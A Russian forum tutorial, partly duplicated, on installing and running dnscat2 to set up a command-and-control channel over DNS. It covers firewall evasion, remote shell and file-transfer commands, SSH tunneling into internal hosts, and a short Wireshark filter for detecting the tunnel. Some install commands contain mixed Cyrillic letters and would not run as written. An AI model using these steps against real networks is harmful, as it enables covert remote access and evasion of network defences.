Всем привет, сегодня я бы хотел вам рассказать об утилите dnscat2.
dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С.
Часто бывает, что проходу нормального трафика мешает firewall, а резолв имен почти всегда разрешен.
Cкачивание и установкa:
One-line
Установка серверной части:
Установка клиентской части:
Если возникли ошибки при установке:
iagox86/dnscat2 найдите вашу ошибку здесь. Тут описаны некоторые ошибки. Если вашей ошибки нет, то пишите в этой теме или загуглите.
Запускаем:
Сервер:
Клиент: запускаете на удаленной машине.
Если разрешен доступ только к легитимным DNS серверам:
Сервер:
Клиент:
Как только произойдет подключение dnscat2 выведет вам номер сессии.
После выбора сессии:
У вас будет доступен ряд команд:
Выбираем сессию и вводим команду:
Теперь вы можете спокойно подключиться к той машине, которую не видно из вне через ssh.
Кстати dnscat2 по умолчанию поддерживает шифрование. Автор говорит, что не гарантирует 100% криптографическую стойкость, но защита есть.
Делаем дамп через wireshark и забиваем следующий фильтр:
И в информации о пакете ищем dnscat.
Полезные ссылки
https://github.com/iagox86/dnscat2 - Страница dnscat, с его документацией.
https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152 - Про обнаружение DNS туннелей.
автор @Pazsh
codeby
Что это такое и с чем его едят
dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С.
В чем смысл маскировки трафика под DNS
Часто бывает, что проходу нормального трафика мешает firewall, а резолв имен почти всегда разрешен.
Cкачивание и установкa:
Bash:
sudo apt-get updаte
sudo аpt-get -y instаll ruby-dev git mаke g++
sudo gem install bundler
git clone https://github.com/iagox86/dnscat2.git
sudo аpt-get updаte && sudo аpt-get -y instаll ruby-dev git mаke g++ && sudo gem install bundler && git clone https://github.com/iagox86/dnscat2.gitУстановка серверной части:
Bash:
cd dnscat2/server
bundle instаll
Установка клиентской части:
Bash:
cd dnscat2/client
make
Если возникли ошибки при установке:
iagox86/dnscat2 найдите вашу ошибку здесь. Тут описаны некоторые ошибки. Если вашей ошибки нет, то пишите в этой теме или загуглите.
К делу
Запускаем:
Сервер:
Код:
sudo ruby dnscat2.rb
Если разрешен доступ только к легитимным DNS серверам:
Сервер:
Код:
sudo ruby dnscat2.rb legitdnsserver.com
Код:
./build legitdnsserver.com
Как только произойдет подключение dnscat2 выведет вам номер сессии.
После выбора сессии:
Код:
sessions -i <номер сессии>
У вас будет доступен ряд команд:
Код:
clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows
Проброс туннеля
Если вам нужен удобный доступ к машинам в локальной сети по SSH, то это очень полезная вещь.
Выбираем сессию и вводим команду:
Код:
listen <port> <dest ip>:<ssh port>
Теперь вы можете спокойно подключиться к той машине, которую не видно из вне через ssh.
Код:
ssh -P <port> username@127.0.0.1
Кстати dnscat2 по умолчанию поддерживает шифрование. Автор говорит, что не гарантирует 100% криптографическую стойкость, но защита есть.
Как обнаружить dnscat2 на машине
Делаем дамп через wireshark и забиваем следующий фильтр:
Код:
dns.qry.name.len > 16 and !mdns
16 - просто длина имени DNS домена. Я подбирал вручную, у вас это число может отличаться. Чтобы его подобрать просто смотрите в результат фильтрации.
После этого фильтра могут остаться и нормальные DNS запросы, просто ищите dnscat.
После этого фильтра могут остаться и нормальные DNS запросы, просто ищите dnscat.
Полезные ссылки
https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152 - Про обнаружение DNS туннелей.
автор @Pazsh
codeby